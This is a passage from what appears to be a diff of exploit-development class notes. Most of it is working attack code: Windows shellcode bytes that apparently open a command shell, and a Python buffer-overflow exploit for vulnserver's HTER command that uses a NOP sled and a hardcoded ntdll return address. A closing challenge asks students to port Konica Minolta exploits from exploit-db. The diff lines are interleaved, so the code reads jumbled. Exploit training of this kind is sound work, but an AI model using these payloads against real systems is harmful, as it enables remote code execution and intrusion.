part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
888+
889-
part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
889+
nops = "90" * 32
890-
part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
890+
891-
part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
891+
# 77DB0BCD from ntdll.dll
892
893-
part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
893+
buffer = "HTER 0505c" + nops + shellcode + "A" * (2040 - 4 - len(nops) - len(shellcode)) + "CD0BDB77" + "A" * (4106 - 1 - 2040 - 8)
894-
part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
894+
895-
part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
895+
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
896-
part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
896+
expl.connect(('127.0.0.1', 9999))
897-
part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
897+
expl.recv(100)
898-
part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
898+
expl.send(buffer)
899-
part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
899+
expl.close()
900-
part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
900+
901-
part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
901+
--------------------------------------------------------------
902-
part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
902+
903-
part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
903+
904
You can download the attack scripts from today from here:
905-
prepend = "\x81\xC4\xFF\xEF\xFF\xFF"  			# add esp, -1001h
905+
906-
prepend += "\x44"                     			# inc esp
906+
907
Quick challenge:
908-
buf = "\x00\x01"         				# receive command
908+
Your task is to convert the Konica Minolta exploit (https://www.exploit-db.com/exploits/39215/, https://www.exploit-db.com/exploits/38252/, https://www.exploit-db.com/exploits/38254/) to the multiple script format used with vulnserver, SLMail, and Easy File Sharing Web Server 7.2 on your Windows 7 host machine. Email both the scripts and a word document with screenshots detailing how you took the script from exploit-db.com and converted it to the multiple script format on Windows 7. Send both the scripts and the word document to Kofo and Ivana (kofogt@infosecaddicts.com, and ivana@strategicsec.com) in order to receive your CPEs from this class.